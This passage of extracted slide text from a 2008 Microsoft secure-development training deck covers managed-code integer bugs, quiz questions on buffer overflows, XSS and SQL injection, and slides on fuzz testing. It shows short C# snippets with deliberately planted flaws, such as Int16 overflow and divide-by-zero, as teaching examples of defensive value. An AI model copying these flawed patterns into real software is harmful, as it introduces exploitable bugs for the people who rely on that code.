Audit Extensively• Readonly isn’t read-only!

static readonly byte[] keysizes = new byte[] {64,112,128,160,196};static void Main(string[] args) { keysizes[1] = 8;}

Page 98: Basics of Secure Design, Development, and Test Secure software made easier

Don’t Forget Managed Code Integer Arithmetic Bugs

Int16 i = getFromNetwork();if (i <= MAX) {

i++;Int32 j = 8192 / i;

}

Int16 req;...while (true) { getRequest(); req++; arr[req] = DateTime.Now;}

Page 99: Basics of Secure Design, Development, and Test Secure software made easier

Summary• Demonstrated how failing to

validate input can cause security issues, such as buffer overflows, XSS, and SQL injection

• Demonstrated how these issues can be eliminated by creating secure code with examples

• Explained the importance of code reviews in creating secure code

Page 100: Basics of Secure Design, Development, and Test Secure software made easier

Question 1:

Which security issue is most likely to impact C/C++ code?

A. SQL injection

B. Buffer overflows

C.Cross-site scripting

Page 101: Basics of Secure Design, Development, and Test Secure software made easier

Question 2:

Which bug type is exacerbatedby using signed integers?

A. Cross-site scripting

B. Buffer overflows

C.SQL injection

D.Integer arithmetic errors

Page 102: Basics of Secure Design, Development, and Test Secure software made easier

Question 3:

Which of the following results in canonicalization vulnerability?

A. Trusting an input value based on its name

B. Echoing input directly in Web-based output

C.Performing an incorrect integer arithmetic operation on the input

Page 103: Basics of Secure Design, Development, and Test Secure software made easier

Question 4:

Which of the following is notan immediate impact of XSS attacks?

A. Web-site defacement

B. Remote code execution on the server

C.Cookie theft

Page 104: Basics of Secure Design, Development, and Test Secure software made easier

Question 5:

Which security issue can be mitigatedby using parameterized queries?A. Cross-site scripting

B. Buffer overflow

C.SQL injection

Page 105: Basics of Secure Design, Development, and Test Secure software made easier

Module 3: Security Testing

Page 106: Basics of Secure Design, Development, and Test Secure software made easier

Security TestingActualsoftwarefunctionality

Unintended,undocumented,or unknown functionality

Traditionalfaults

Intendedfunctionality

No authenticatio

n

Missing defenses

Weak authenticatio

n

Poordefenses

Buffer overflow in

authentication

Extra“functionality

Page 107: Basics of Secure Design, Development, and Test Secure software made easier

What Is Fuzzing?• Randomized application

of malformed data in a search for vulnerabilities

• Distinguishing characteristics– Methodical – Random values– Explicit search for

vulnerabilities / reliability failures

– Large number of test cases – Expected outcome: It does

not fail– Does not fit neatly into

typical test case development

• Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990)

• Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications

Page 108: Basics of Secure Design, Development, and Test Secure software made easier

How to Fuzz• Tools! Tools! Tools!

• Determine all of the entry points to your code– Network ports and protocols– Files and file types

• Rank them by privilege level and accessibility– Anonymous, user, and admin– Remote and local

Page 109: Basics of Secure Design, Development, and Test Secure software made easier

Attackers Are Unconstrained• Rule #1: There are no rules

– Attacks by admins are uninteresting

• If you provide a client to access the server, don’t use it!– Mimic the client in code

• If you rely on a specific service,build a bogus one

Page 110: Basics of Secure Design, Development, and Test Secure software made easier

Fuzz Across Trust Boundaries• Look for privilege elevation boundaries

• Pushing data from low-privilege tohigh-privilege process

SYSTEM Everyone: Write

Admin: Full ControlEveryone: Read

Page 111: Basics of Secure Design, Development, and Test Secure software made easier

Build fuzzers for all consumed resources (such as files or net protocols)

Tools! Tools! Tools!SDL Fuzzing requirements coverFilesRPC endpointsACtiveX ControlsGeneralized network

fuzzing is probably the next step

Security Testing Checklist

Fuzz!

Page 112: Basics of Secure Design, Development, and Test Secure software made easier

Question:

Which of the following is nota characteristic of fuzz testing?

A. It is an explicit search for vulnerabilitiesor reliability failures

B. It involves a large number of test cases, which are not individually compelling

C. It is exploratory, as opposed to methodical

D.Its expected outcome is does not fail

Page 113: Basics of Secure Design, Development, and Test Secure software made easier

Overall Summary

The SDL integrates security activities in all of the phases of product development

Activities such as attack surface reduction and threat modeling are part of the secure design

phase

Input validation is a very important secure coding principle; failure to do so results in serious security

issues

Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are

detected and fixed

Security testing—particularly fuzz testing—helps expose errors that may introduce security

vulnerabilities

Page 114: Basics of Secure Design, Development, and Test Secure software made easier

Learning More• Training

– "Introduction to the Microsoft Security Development Lifecycle"

– "Introduction to Threat Modeling"– "Privacy in Software Development"

• Books– The Security Development Lifecycle: SDL:

A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter

– Writing Secure Code, Second Edition (Howard, LeBlanc, 2002)

Page 116: Basics of Secure Design, Development, and Test Secure software made easier

Questions?

Page 117: Basics of Secure Design, Development, and Test Secure software made easier

© 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U.S. and/or

other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft

must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information

provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.